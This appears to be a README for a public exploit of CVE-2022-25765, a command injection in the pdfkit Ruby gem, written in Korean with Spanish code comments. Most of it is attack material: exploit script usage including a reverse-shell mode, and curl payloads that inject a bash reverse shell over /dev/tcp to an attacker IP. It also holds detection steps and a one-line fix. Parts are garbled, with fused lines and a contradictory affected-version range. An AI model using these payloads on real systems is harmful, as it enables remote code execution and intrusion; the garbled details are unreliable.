
CVE-2022-25765는 pdfkit (Ruby gem) 버전 < 0.8.7.2에 영향을 주는 명령 주입(Command Injection) 취약점입니다. 이 취약점은 인증 없이 원격으로 명령을 실행할 수 있으므로 CVSS 9.8의 치명적(CRITICAL) 심각도를 가집니다.
문제는 pdfkit이 url 매개변수를 샌니타이즈 없이 셸에 직접 전달한다는 점입니다. 이 라이브러리는 내부적으로 wkhtmltopdf를 다음 명령과 유사하게 실행합니다:
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")
URL에 %20(URL 인코딩된 공백) 뒤에 백틱 ` 또는 $()이 오면, 셸은 해당 내용을 명령으로 해석하여 실행합니다.
CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
pdfkit의 취약한 코드 (source.rb:44-50):
def command
args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
"wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end
URL은 샌니타이즈 없이 셸 명령에 직접 삽입됩니다. %20(공백)을 포함하면 공백 뒤의 내용이 wkhtmltopdf 인수 컨텍스트를 벗어나며, \`` 또는 $()`를 사용하여 임의의 명령을 실행할 수 있습니다.
UNICORDev (@NicPWNs 및 @Dev-Yeoj)
원본 익스플로잇은 다음 위치에 있습니다:
requests, urllib3pip install -r requirements.txt
# Modo comando personalizado (genera payload)
python3 exploit-CVE-2022-25765.py -c "whoami"
# Modo reverse shell (genera payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444
# Modo web — enviar comando directamente al sitio vulnerable
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url
# Modo web — reverse shell directa al sitio vulnerable
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url
# Ayuda
python3 exploit-CVE-2022-25765.py -h
# Inyección via curl
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"
# O usando $() en lugar de backticks
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"
# Comando simple
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`id\`"
서버가 취약한지 식별하려면:
Creator: pdfkit v0.8.6# Enviar URL y recibir callback
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# Listener: nc -lnvp 4444
# Si recibes la petición con User-Agent: wkhtmltopdf, la app convierte PDFs
# Verificar versión en metadatos del PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Buscar: "Generated by pdfkit v0.8.6" (vulnerable)
\``, $(), %20)를 제거하도록 url` 매개변수를 샌니타이즈합니다.| 필드 | 값 |
|---|
| CVE | CVE-2022-25765 |
| 제품 | pdfkit (Ruby gem) |
| 영향을 받는 버전 | 0.0.0 – 0.8.7.2 |
| 유형 | Command Injection (CWE-78) |
| 인증 | 필요 없음 |
| CVSS 3.1 | 9.8 CRITICAL |
| 패치 | pdfkit ≥ 0.8.7.2 |
| 매개변수 | 설명 |
|---|
-c | 사용자 정의 명령 |
-s <IP> <PORT> | 리버스 셸 모드 |
-w <URL> | 취약한 웹사이트 URL (선택 사항) |
-p <param> | POST 매개변수 (선택 사항, 기본값: url) |
-h | 도움말 |